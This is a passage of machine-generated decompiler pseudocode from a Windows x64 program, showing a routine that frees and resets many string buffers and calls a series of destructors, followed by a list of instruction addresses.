				_t2914 =  *((intOrPtr*)(_t3074 + 0x4c0));
				asm("movdqa xmm0, [0x58e61]");
				 *((intOrPtr*)(_t3074 + 0x488)) = r13w;
				asm("movdqu [ebp+0x498], xmm0");
				if (_t2914 - 8 < 0) goto 0xe6b0871e;
				if (2 + _t2914 * 2 - 0x1000 < 0) goto 0xe6b08719;
				if ( *((intOrPtr*)(_t3074 + 0x4a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x4a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x4a8)) - 8)));
				_t2917 =  *((intOrPtr*)(_t3074 + 0x4e0));
				asm("movdqa xmm0, [0x58e03]");
				 *((intOrPtr*)(_t3074 + 0x4a8)) = r13w;
				asm("movdqu [ebp+0x4b8], xmm0");
				if (_t2917 - 8 < 0) goto 0xe6b0877c;
				if (2 + _t2917 * 2 - 0x1000 < 0) goto 0xe6b08777;
				if ( *((intOrPtr*)(_t3074 + 0x4c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x4c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x4c8)) - 8)));
				_t2920 =  *((intOrPtr*)(_t3074 + 0x500));
				asm("movdqa xmm0, [0x58da5]");
				 *((intOrPtr*)(_t3074 + 0x4c8)) = r13w;
				asm("movdqu [ebp+0x4d8], xmm0");
				if (_t2920 - 8 < 0) goto 0xe6b087da;
				if (2 + _t2920 * 2 - 0x1000 < 0) goto 0xe6b087d5;
				if ( *((intOrPtr*)(_t3074 + 0x4e8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x4e8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x4e8)) - 8)));
				asm("movdqa xmm0, [0x58d4e]");
				asm("movdqu [ebp+0x4f8], xmm0");
				 *((intOrPtr*)(_t3074 + 0x4e8)) = r13w;
				E00007FF77FF7E6B09AB0(_t2346, _t3074,  <  ? 0xffffffff : 0xffffffff);
				_t2923 =  *((intOrPtr*)(_t3074 + 0x160));
				if (_t2923 - 0x10 < 0) goto 0xe6b0883c;
				if (_t2923 + 1 - 0x1000 < 0) goto 0xe6b08837;
				if ( *((intOrPtr*)(_t3074 + 0x148)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x148)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x148)) - 8)));
				_t2926 =  *((intOrPtr*)(_t3074 + 0x180));
				asm("movdqa xmm0, [0x58cf5]");
				 *((intOrPtr*)(_t3074 + 0x148)) = r13b;
				asm("movdqu [ebp+0x158], xmm0");
				if (_t2926 - 0x10 < 0) goto 0xe6b08894;
				if (_t2926 + 1 - 0x1000 < 0) goto 0xe6b0888f;
				if ( *((intOrPtr*)(_t3074 + 0x168)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x168)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x168)) - 8)));
				_t2929 =  *((intOrPtr*)(_t3074 + 0x1a0));
				asm("movdqa xmm0, [0x58c9d]");
				 *((intOrPtr*)(_t3074 + 0x168)) = r13b;
				asm("movdqu [ebp+0x178], xmm0");
				if (_t2929 - 0x10 < 0) goto 0xe6b088ec;
				if (_t2929 + 1 - 0x1000 < 0) goto 0xe6b088e7;
				if ( *((intOrPtr*)(_t3074 + 0x188)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x188)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x188)) - 8)));
				_t2932 =  *((intOrPtr*)(_t3074 + 0x1c0));
				asm("movdqa xmm0, [0x58c45]");
				 *((intOrPtr*)(_t3074 + 0x188)) = r13b;
				asm("movdqu [ebp+0x198], xmm0");
				if (_t2932 - 0x10 < 0) goto 0xe6b08944;
				if (_t2932 + 1 - 0x1000 < 0) goto 0xe6b0893f;
				if ( *((intOrPtr*)(_t3074 + 0x1a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x1a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x1a8)) - 8)));
				_t2935 =  *((intOrPtr*)(_t3074 + 0x1e0));
				asm("movdqa xmm0, [0x58bed]");
				 *((intOrPtr*)(_t3074 + 0x1a8)) = r13b;
				asm("movdqu [ebp+0x1b8], xmm0");
				if (_t2935 - 0x10 < 0) goto 0xe6b0899c;
				if (_t2935 + 1 - 0x1000 < 0) goto 0xe6b08997;
				if ( *((intOrPtr*)(_t3074 + 0x1c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x1c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x1c8)) - 8)));
				_t2938 =  *((intOrPtr*)(_t3074 + 0x200));
				asm("movdqa xmm0, [0x58b95]");
				 *((intOrPtr*)(_t3074 + 0x1c8)) = r13b;
				asm("movdqu [ebp+0x1d8], xmm0");
				if (_t2938 - 0x10 < 0) goto 0xe6b089f4;
				if (_t2938 + 1 - 0x1000 < 0) goto 0xe6b089ef;
				if ( *((intOrPtr*)(_t3074 + 0x1e8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x1e8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x1e8)) - 8)));
				_t2941 =  *((intOrPtr*)(_t3074 + 0x220));
				asm("movdqa xmm0, [0x58b3d]");
				 *((intOrPtr*)(_t3074 + 0x1e8)) = r13b;
				asm("movdqu [ebp+0x1f8], xmm0");
				if (_t2941 - 0x10 < 0) goto 0xe6b08a4c;
				if (_t2941 + 1 - 0x1000 < 0) goto 0xe6b08a47;
				if ( *((intOrPtr*)(_t3074 + 0x208)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x208)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x208)) - 8)));
				_t2944 =  *((intOrPtr*)(_t3074 + 0x240));
				asm("movdqa xmm0, [0x58ae5]");
				 *((intOrPtr*)(_t3074 + 0x208)) = r13b;
				asm("movdqu [ebp+0x218], xmm0");
				if (_t2944 - 0x10 < 0) goto 0xe6b08aa4;
				if (_t2944 + 1 - 0x1000 < 0) goto 0xe6b08a9f;
				if ( *((intOrPtr*)(_t3074 + 0x228)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x228)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x228)) - 8)));
				_t2947 =  *((intOrPtr*)(_t3074 + 0x260));
				asm("movdqa xmm0, [0x58a8d]");
				 *((intOrPtr*)(_t3074 + 0x228)) = r13b;
				asm("movdqu [ebp+0x238], xmm0");
				if (_t2947 - 0x10 < 0) goto 0xe6b08afc;
				if (_t2947 + 1 - 0x1000 < 0) goto 0xe6b08af7;
				if ( *((intOrPtr*)(_t3074 + 0x248)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x248)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x248)) - 8)));
				_t2950 =  *((intOrPtr*)(_t3074 + 0x280));
				asm("movdqa xmm0, [0x58a35]");
				 *((intOrPtr*)(_t3074 + 0x248)) = r13b;
				asm("movdqu [ebp+0x258], xmm0");
				if (_t2950 - 0x10 < 0) goto 0xe6b08b54;
				if (_t2950 + 1 - 0x1000 < 0) goto 0xe6b08b4f;
				if ( *((intOrPtr*)(_t3074 + 0x268)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x268)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x268)) - 8)));
				_t2953 =  *((intOrPtr*)(_t3074 + 0x2a0));
				asm("movdqa xmm0, [0x589dd]");
				 *((intOrPtr*)(_t3074 + 0x268)) = r13b;
				asm("movdqu [ebp+0x278], xmm0");
				if (_t2953 - 0x10 < 0) goto 0xe6b08bac;
				if (_t2953 + 1 - 0x1000 < 0) goto 0xe6b08ba7;
				if ( *((intOrPtr*)(_t3074 + 0x288)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x288)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x288)) - 8)));
				_t2956 =  *((intOrPtr*)(_t3074 + 0x2c0));
				asm("movdqa xmm0, [0x58985]");
				 *((intOrPtr*)(_t3074 + 0x288)) = r13b;
				asm("movdqu [ebp+0x298], xmm0");
				if (_t2956 - 0x10 < 0) goto 0xe6b08c04;
				if (_t2956 + 1 - 0x1000 < 0) goto 0xe6b08bff;
				if ( *((intOrPtr*)(_t3074 + 0x2a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x2a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x2a8)) - 8)));
				asm("movdqa xmm0, [0x58934]");
				asm("movdqu [ebp+0x2b8], xmm0");
				 *((intOrPtr*)(_t3074 + 0x2a8)) = r13b;
				E00007FF77FF7E6B02860(_t3074 + 0x8c8);
				E00007FF77FF7E6B02860(_t3074 + 0x8e8);
				E00007FF77FF7E6B02860(_t3074 + 0x908);
				E00007FF77FF7E6B02860(_t3074 + 0x928);
				E00007FF77FF7E6B02860(_t3074 + 0x948);
				E00007FF77FF7E6B02860(_t3074 + 0x968);
				E00007FF77FF7E6B01CD0(_t3074 + 0xc48);
				E00007FF77FF7E6B01CD0(_t3074 + 0xc68);
				E00007FF77FF7E6B01CD0(_t3074 + 0xc88);
				E00007FF77FF7E6B01CD0(_t3074 + 0xca8);
				E00007FF77FF7E6B01CD0(_t3074 + 0xcc8);
				E00007FF77FF7E6B01CD0(_t3074 + 0xce8);
				E00007FF77FF7E6B01CD0(_t3074 + 0xd08);
				E00007FF77FF7E6B01CD0(_t3074 + 0xd28);
				E00007FF77FF7E6B01CD0(_t3074 + 0xd48);
				E00007FF77FF7E6B01CD0(_t3074 + 0xd68);
				E00007FF77FF7E6B01CD0(_t3074 + 0xd88);
				E00007FF77FF7E6B01CD0(_t3074 + 0xda8);
				E00007FF77FF7E6B01CD0(_t3074 + 0xdc8);
				E00007FF77FF7E6B01CD0(_t3074 + 0xde8);
				E00007FF77FF7E6B01CD0(_t3074 + 0xe08);
				E00007FF77FF7E6B01CD0(_t3074 + 0xe28);
				E00007FF77FF7E6B01CD0(_t3074 + 0xe48);
				E00007FF77FF7E6B01CD0(_t3074 + 0xe68);
				E00007FF77FF7E6B09AB0(_t2346, _t3074 + 0x10,  <  ? 0xffffffff : 0xffffffff);
				E00007FF77FF7E6B02860(_t3074 + 0x988);
				E00007FF77FF7E6B02860(_t3074 + 0x9a8);
				E00007FF77FF7E6B02860(_t3074 + 0x9c8);
				E00007FF77FF7E6B02860(_t3074 + 0x9e8);
				E00007FF77FF7E6B02860(_t3074 + 0xa08);
				E00007FF77FF7E6B02860(_t3074 + 0xa28);
				E00007FF77FF7E6B02860(_t3074 + 0xa48);
				E00007FF77FF7E6B02860(_t3074 + 0xa68);
				E00007FF77FF7E6B02860(_t3074 + 0xa88);
				E00007FF77FF7E6B02860(_t3074 + 0xaa8);
				E00007FF77FF7E6B02860(_t3074 + 0xac8);
				E00007FF77FF7E6B02860(_t3074 + 0xae8);
				E00007FF77FF7E6B02860(_t3074 + 0xb08);
				E00007FF77FF7E6B02860(_t3074 + 0xb28);
				E00007FF77FF7E6B02860(_t3074 + 0xb48);
				E00007FF77FF7E6B02860(_t3074 + 0xb68);
				E00007FF77FF7E6B02860(_t3074 + 0xb88);
				E00007FF77FF7E6B02860(_t3074 + 0xba8);
				_t2959 =  *((intOrPtr*)(_t3074 + 0x520));
				if (_t2959 - 8 < 0) goto 0xe6b08e62;
				if (2 + _t2959 * 2 - 0x1000 < 0) goto 0xe6b08e5d;
				if ( *((intOrPtr*)(_t3074 + 0x508)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x508)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x508)) - 8)));
				_t2962 =  *((intOrPtr*)(_t3074 + 0x540));
				asm("movdqa xmm0, [0x586bf]");
				 *((intOrPtr*)(_t3074 + 0x508)) = r13w;
				asm("movdqu [ebp+0x518], xmm0");
				if (_t2962 - 8 < 0) goto 0xe6b08ec0;
				if (2 + _t2962 * 2 - 0x1000 < 0) goto 0xe6b08ebb;
				if ( *((intOrPtr*)(_t3074 + 0x528)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x528)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x528)) - 8)));
				_t2965 =  *((intOrPtr*)(_t3074 + 0x560));
				asm("movdqa xmm0, [0x58661]");
				 *((intOrPtr*)(_t3074 + 0x528)) = r13w;
				asm("movdqu [ebp+0x538], xmm0");
				if (_t2965 - 8 < 0) goto 0xe6b08f1e;
				if (2 + _t2965 * 2 - 0x1000 < 0) goto 0xe6b08f19;
				if ( *((intOrPtr*)(_t3074 + 0x548)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x548)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x548)) - 8)));
				_t2968 =  *((intOrPtr*)(_t3074 + 0x580));
				asm("movdqa xmm0, [0x58603]");
				 *((intOrPtr*)(_t3074 + 0x548)) = r13w;
				asm("movdqu [ebp+0x558], xmm0");
				if (_t2968 - 8 < 0) goto 0xe6b08f7c;
				if (2 + _t2968 * 2 - 0x1000 < 0) goto 0xe6b08f77;
				if ( *((intOrPtr*)(_t3074 + 0x568)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x568)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x568)) - 8)));
				_t2971 =  *((intOrPtr*)(_t3074 + 0x6c0));
				asm("movdqa xmm0, [0x585a5]");
				 *((intOrPtr*)(_t3074 + 0x568)) = r13w;
				asm("movdqu [ebp+0x578], xmm0");
				if (_t2971 - 8 < 0) goto 0xe6b08fda;
				if (2 + _t2971 * 2 - 0x1000 < 0) goto 0xe6b08fd5;
				if ( *((intOrPtr*)(_t3074 + 0x6a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x6a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x6a8)) - 8)));
				_t2974 =  *((intOrPtr*)(_t3074 + 0x5c0));
				asm("movdqa xmm0, [0x58547]");
				 *((intOrPtr*)(_t3074 + 0x6a8)) = r13w;
				asm("movdqu [ebp+0x6b8], xmm0");
				if (_t2974 - 8 < 0) goto 0xe6b09038;
				if (2 + _t2974 * 2 - 0x1000 < 0) goto 0xe6b09033;
				if ( *((intOrPtr*)(_t3074 + 0x5a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x5a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x5a8)) - 8)));
				_t2977 =  *((intOrPtr*)(_t3074 + 0x5e0));
				asm("movdqa xmm0, [0x584e9]");
				 *((intOrPtr*)(_t3074 + 0x5a8)) = r13w;
				asm("movdqu [ebp+0x5b8], xmm0");
				if (_t2977 - 8 < 0) goto 0xe6b09096;
				if (2 + _t2977 * 2 - 0x1000 < 0) goto 0xe6b09091;
				if ( *((intOrPtr*)(_t3074 + 0x5c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x5c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x5c8)) - 8)));
				_t2980 =  *((intOrPtr*)(_t3074 + 0x600));
				asm("movdqa xmm0, [0x5848b]");
				 *((intOrPtr*)(_t3074 + 0x5c8)) = r13w;
				asm("movdqu [ebp+0x5d8], xmm0");
				if (_t2980 - 8 < 0) goto 0xe6b090f4;
				if (2 + _t2980 * 2 - 0x1000 < 0) goto 0xe6b090ef;
				if ( *((intOrPtr*)(_t3074 + 0x5e8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x5e8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x5e8)) - 8)));
				_t2983 =  *((intOrPtr*)(_t3074 + 0x620));
				asm("movdqa xmm0, [0x5842d]");
				 *((intOrPtr*)(_t3074 + 0x5e8)) = r13w;
				asm("movdqu [ebp+0x5f8], xmm0");
				if (_t2983 - 8 < 0) goto 0xe6b09152;
				if (2 + _t2983 * 2 - 0x1000 < 0) goto 0xe6b0914d;
				if ( *((intOrPtr*)(_t3074 + 0x608)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x608)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x608)) - 8)));
				_t2986 =  *((intOrPtr*)(_t3074 + 0x640));
				asm("movdqa xmm0, [0x583cf]");
				 *((intOrPtr*)(_t3074 + 0x608)) = r13w;
				asm("movdqu [ebp+0x618], xmm0");
				if (_t2986 - 8 < 0) goto 0xe6b091b0;
				if (2 + _t2986 * 2 - 0x1000 < 0) goto 0xe6b091ab;
				if ( *((intOrPtr*)(_t3074 + 0x628)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x628)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x628)) - 8)));
				_t2989 =  *((intOrPtr*)(_t3074 + 0x660));
				asm("movdqa xmm0, [0x58371]");
				 *((intOrPtr*)(_t3074 + 0x628)) = r13w;
				asm("movdqu [ebp+0x638], xmm0");
				if (_t2989 - 8 < 0) goto 0xe6b0920e;
				if (2 + _t2989 * 2 - 0x1000 < 0) goto 0xe6b09209;
				if ( *((intOrPtr*)(_t3074 + 0x648)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x648)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x648)) - 8)));
				_t2992 =  *((intOrPtr*)(_t3074 + 0x680));
				asm("movdqa xmm0, [0x58313]");
				 *((intOrPtr*)(_t3074 + 0x648)) = r13w;
				asm("movdqu [ebp+0x658], xmm0");
				if (_t2992 - 8 < 0) goto 0xe6b0926c;
				if (2 + _t2992 * 2 - 0x1000 < 0) goto 0xe6b09267;
				if ( *((intOrPtr*)(_t3074 + 0x668)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x668)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x668)) - 8)));
				_t2995 =  *((intOrPtr*)(_t3074 + 0x6a0));
				asm("movdqa xmm0, [0x582b5]");
				 *((intOrPtr*)(_t3074 + 0x668)) = r13w;
				asm("movdqu [ebp+0x678], xmm0");
				if (_t2995 - 8 < 0) goto 0xe6b092ca;
				if (2 + _t2995 * 2 - 0x1000 < 0) goto 0xe6b092c5;
				if ( *((intOrPtr*)(_t3074 + 0x688)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x688)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x688)) - 8)));
				_t2998 =  *((intOrPtr*)(_t3074 + 0x7e0));
				asm("movdqa xmm0, [0x58257]");
				 *((intOrPtr*)(_t3074 + 0x688)) = r13w;
				asm("movdqu [ebp+0x698], xmm0");
				if (_t2998 - 8 < 0) goto 0xe6b09328;
				if (2 + _t2998 * 2 - 0x1000 < 0) goto 0xe6b09323;
				if ( *((intOrPtr*)(_t3074 + 0x7c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x7c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x7c8)) - 8)));
				_t3001 =  *((intOrPtr*)(_t3074 + 0x6e0));
				asm("movdqa xmm0, [0x581f9]");
				 *((intOrPtr*)(_t3074 + 0x7c8)) = r13w;
				asm("movdqu [ebp+0x7d8], xmm0");
				if (_t3001 - 8 < 0) goto 0xe6b09386;
				if (2 + _t3001 * 2 - 0x1000 < 0) goto 0xe6b09381;
				if ( *((intOrPtr*)(_t3074 + 0x6c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x6c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x6c8)) - 8)));
				_t3004 =  *((intOrPtr*)(_t3074 + 0x700));
				asm("movdqa xmm0, [0x5819b]");
				 *((intOrPtr*)(_t3074 + 0x6c8)) = r13w;
				asm("movdqu [ebp+0x6d8], xmm0");
				if (_t3004 - 8 < 0) goto 0xe6b093e4;
				if (2 + _t3004 * 2 - 0x1000 < 0) goto 0xe6b093df;
				if ( *((intOrPtr*)(_t3074 + 0x6e8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x6e8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x6e8)) - 8)));
				_t3007 =  *((intOrPtr*)(_t3074 + 0x720));
				asm("movdqa xmm0, [0x5813d]");
				 *((intOrPtr*)(_t3074 + 0x6e8)) = r13w;
				asm("movdqu [ebp+0x6f8], xmm0");
				if (_t3007 - 8 < 0) goto 0xe6b09442;
				if (2 + _t3007 * 2 - 0x1000 < 0) goto 0xe6b0943d;
				if ( *((intOrPtr*)(_t3074 + 0x708)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x708)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x708)) - 8)));
				_t3010 =  *((intOrPtr*)(_t3074 + 0x740));
				asm("movdqa xmm0, [0x580df]");
				 *((intOrPtr*)(_t3074 + 0x708)) = r13w;
				asm("movdqu [ebp+0x718], xmm0");
				if (_t3010 - 8 < 0) goto 0xe6b094a0;
				if (2 + _t3010 * 2 - 0x1000 < 0) goto 0xe6b0949b;
				if ( *((intOrPtr*)(_t3074 + 0x728)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x728)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x728)) - 8)));
				asm("movdqa xmm0, [0x58088]");
				asm("movdqu [ebp+0x738], xmm0");
				 *((intOrPtr*)(_t3074 + 0x728)) = r13w;
				E00007FF77FF7E6B09AB0(_t2346, _t3074 + 0x20,  <  ? 0xffffffff : 0xffffffff);
				E00007FF77FF7E6B09AB0(_t1944, _t3074 + 0x70,  <  ? 0xffffffff : 0xffffffff);
				E00007FF77FF7E6B098F0(_t1944, _t3074 + 0xf50);
				E00007FF77FF7E6B098F0(_t1944, _t3074 + 0xe90);
				E00007FF77FF7E6B098F0(_t1944, _t3074 + 0xef0);
				E00007FF77FF7E6B096E0(_t1944, _t3074 + 0xfb0);
				E00007FF77FF7E6B096E0(_t1944, _t3074 + 0x1050);
				_t1370 = E00007FF77FF7E6B096E0(_t1944, _t3074 + 0x10f0);
				return _t1370;
			}

0x7ff7e6b05fad
0x7ff7e6b05fad
0x7ff7e6b05fad
0x7ff7e6b05fad
0x7ff7e6b05fb4
0x7ff7e6b05fc7
0x7ff7e6b05fd3
0x7ff7e6b05fdc
0x7ff7e6b05fe5
0x7ff7e6b05fee
0x7ff7e6b05ff1
0x7ff7e6b05ff9
0x7ff7e6b06006
0x7ff7e6b06019
0x7ff7e6b0602a
0x7ff7e6b0602d
0x7ff7e6b06042
0x7ff7e6b06052
0x7ff7e6b0605b
0x7ff7e6b06067
0x7ff7e6b06073
0x7ff7e6b0607c
0x7ff7e6b0608f
0x7ff7e6b0609b
0x7ff7e6b060a4
0x7ff7e6b060ad
0x7ff7e6b060b6
0x7ff7e6b060b9
0x7ff7e6b060c1
0x7ff7e6b060ce
0x7ff7e6b060e1
0x7ff7e6b060f2
0x7ff7e6b060f5
0x7ff7e6b0610a
0x7ff7e6b0611a
0x7ff7e6b06123
0x7ff7e6b0612f
0x7ff7e6b0613b
0x7ff7e6b06144
0x7ff7e6b06157
0x7ff7e6b06163
0x7ff7e6b0616c
0x7ff7e6b06175
0x7ff7e6b0617e
0x7ff7e6b06181
0x7ff7e6b06189
0x7ff7e6b06196
0x7ff7e6b061a9
0x7ff7e6b061ba
0x7ff7e6b061bd
0x7ff7e6b061d2
0x7ff7e6b061e2
0x7ff7e6b061eb
0x7ff7e6b061f7
0x7ff7e6b06203
0x7ff7e6b0620c
0x7ff7e6b0621f
0x7ff7e6b0622b
0x7ff7e6b06234
0x7ff7e6b0623d
0x7ff7e6b06246
0x7ff7e6b06249
0x7ff7e6b06251
0x7ff7e6b0625e
0x7ff7e6b06271
0x7ff7e6b06282
0x7ff7e6b06285
0x7ff7e6b0629a
0x7ff7e6b062aa
0x7ff7e6b062b3
0x7ff7e6b062bf
0x7ff7e6b062cb
0x7ff7e6b062d4
0x7ff7e6b062e7
0x7ff7e6b062f3
0x7ff7e6b062fc
0x7ff7e6b06305
0x7ff7e6b0630e
0x7ff7e6b06311
0x7ff7e6b06319
0x7ff7e6b06326
0x7ff7e6b06339
0x7ff7e6b0634a
0x7ff7e6b0634d
0x7ff7e6b06362
0x7ff7e6b06372
0x7ff7e6b0637b
0x7ff7e6b06387
0x7ff7e6b06393
0x7ff7e6b0639c
0x7ff7e6b063af
0x7ff7e6b063bb
0x7ff7e6b063c4
0x7ff7e6b063cd
0x7ff7e6b063d6
0x7ff7e6b063d9
0x7ff7e6b063e1
0x7ff7e6b063ee
0x7ff7e6b06401
0x7ff7e6b06412
0x7ff7e6b06415
0x7ff7e6b0642a
0x7ff7e6b0643a
0x7ff7e6b06443
0x7ff7e6b0644f
0x7ff7e6b0645b
0x7ff7e6b06464
0x7ff7e6b06477
0x7ff7e6b06483
0x7ff7e6b0648c
0x7ff7e6b06495
0x7ff7e6b0649e
0x7ff7e6b064a1
0x7ff7e6b064a9
0x7ff7e6b064b6
0x7ff7e6b064c9
0x7ff7e6b064da
0x7ff7e6b064dd
0x7ff7e6b064f2
0x7ff7e6b06502
0x7ff7e6b0650b
0x7ff7e6b06517
0x7ff7e6b06523
0x7ff7e6b0652c
0x7ff7e6b0653f
0x7ff7e6b0654b
0x7ff7e6b06554
0x7ff7e6b0655d
0x7ff7e6b06566
0x7ff7e6b06569
0x7ff7e6b06571
0x7ff7e6b0657e
0x7ff7e6b06591
0x7ff7e6b065a2
0x7ff7e6b065a5
0x7ff7e6b065ba
0x7ff7e6b065ca
0x7ff7e6b065d3
0x7ff7e6b065df
0x7ff7e6b065eb
0x7ff7e6b065f4
0x7ff7e6b06607
0x7ff7e6b06613
0x7ff7e6b0661c
0x7ff7e6b06625
0x7ff7e6b0662e
0x7ff7e6b06631
0x7ff7e6b06639
0x7ff7e6b06646
